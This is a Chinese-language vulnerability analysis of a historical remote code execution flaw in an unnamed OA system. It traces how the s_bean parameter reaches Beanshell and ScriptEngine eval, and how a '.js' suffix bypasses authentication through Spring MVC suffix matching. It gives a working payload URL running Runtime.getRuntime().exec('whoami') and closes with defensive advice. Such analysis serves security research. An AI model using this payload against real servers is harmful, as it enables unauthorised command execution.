某OA 历史RCE分析
字数 1865 2025-08-06 08:34:49
某OA系统历史RCE漏洞分析与利用教学文档
漏洞概述
该文档详细分析某OA系统中存在的远程代码执行(RCE)漏洞,涉及两个关键类SysFormulaValidate和SysFormulaSimulateByJS的实现问题,以及通过.js后缀绕过权限检查的机制。
漏洞位置
漏洞存在于路由:
/data/sys-common/datajson.js
或
/data/sys-common/datajson
漏洞利用Payload
基本利用格式:
/data/sys-common/datajson.js?s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami");
漏洞分析
1. 路由处理分析
漏洞路由对应的处理类为:
com/xxx/kmss/common/actions/DataController.class
关键处理逻辑:
String s_bean = request.getParameter("s_bean");
JSONArray array = new JSONArray();
JSONArray jsonArray = null;
try {
Assert.notNull(s_bean, "参数s_bean不能为空!");
RequestContext requestInfo = new RequestContext(request, true);
String[] beanList = s_bean.split(";");
List result = null;
for (int i = 0; i < beanList.length; ++i) {
IXMLDataBean treeBean = (IXMLDataBean)SpringBeanUtil.getBean(beanList[i]);
result = treeBean.getDataList(requestInfo);
处理流程:
- 从请求中获取
s_bean参数 - 使用分号
;分割s_bean值 - 通过
SpringBeanUtil.getBean获取IXMLDataBean类型的bean对象 - 调用bean对象的
getDataList方法
2. IXMLDataBean接口
接口定义:
public interface IXMLDataBean {
List getDataList(RequestContext var1) throws Exception;
}
系统中有约400个该接口的实现类。
3. SysFormulaValidate类分析
s_bean值为sysFormulaValidate时对应的实现类。
关键方法getDataList:
- 获取请求参数中的
script值 - 创建
FormulaParser对象 - 调用
parseValueScript处理script参数
4. FormulaParser类分析
parseValueScript方法实现:
- 创建
Interpreter对象(来自Beanshell库) - 处理script参数:
- 对script进行trim()
- 尝试提取
$符号(POC中没有$符号,跳过相关判断)
- 拼接执行语句:
final String m_script = importPart.toString() + preparePart.toString() + leftScript + rightScript;- 由于没有
$符号,preparePart和leftScript为空 rightScript就是请求参数中的script值
- 由于没有
- 执行代码:
通过value = SecurityController.doPrivileged(new PrivilegedAction<Object>() { public Object run() { try { return interpreter.eval(m_script); } catch (EvalError var2) { FormulaParser.logger.warn("执行公式出错:" + m_script, var2); throw new EvalException(var2); } } });interpreter.eval执行拼接后的脚本,导致任意代码执行。
5. SysFormulaSimulateByJS类分析
另一个存在问题的实现类,与SysFormulaValidate的区别:
- 调用
FormulaParserByJS的parseValueScript方法 - 使用
ScriptEngine的eval方法执行JavaScript代码 - 同样可导致任意代码执行
权限绕过机制
1. .js后缀的作用
POC中使用.js后缀绕过权限检查:
- 去掉
.js后缀时无法未授权访问 .js后缀使请求被识别为静态文件
2. Spring MVC后缀匹配机制
原因:Spring MVC版本<5.3时,useSuffixPatternMatch参数默认为true。
当开启后缀匹配模式时:
/users会被映射到/users.*- 具体处理在
PatternRequestCondition#getMatchingPattern中
处理流程:
- 判断模式与路径是否相等
- 不相等时检查
useSuffixPatternMatch是否为true - 在Spring MVC 3.x.x版本中默认为
true - 检查模式中是否包含
.(ASCII码46) - 如果模式不包含
.且pattern+".*"匹配lookupPath,则返回pattern+".*"
结果:
/admin.aaa成功匹配到/admin- 利用静态文件后缀绕过权限检查
3. 系统Filter配置
在web.xml中配置的全局filter,通过sys\authentication\spring.xml配置文件检查静态资源:
- 通过文件后缀判断是否为静态资源
- Spring MVC版本为3.x.x
- 允许使用
.js、.tmpl等后缀绕过权限检查
漏洞利用总结
-
两种利用方式:
- 通过
sysFormulaValidate执行Java代码 - 通过
sysFormulaSimulateByJS执行JavaScript代码
- 通过
-
权限绕过方法:
- 添加静态文件后缀(如
.js) - 利用Spring MVC后缀匹配机制
- 添加静态文件后缀(如
-
影响版本:
- 使用Spring MVC 3.x.x的系统
- 配置了基于后缀的静态资源过滤
防御建议
- 升级Spring MVC到5.3+版本(
useSuffixPatternMatch默认为false) - 严格校验
s_bean参数,限制可用的bean名称 - 对
script参数内容进行严格过滤 - 修改权限检查机制,不依赖文件后缀判断
- 禁用或限制Beanshell和ScriptEngine的代码执行能力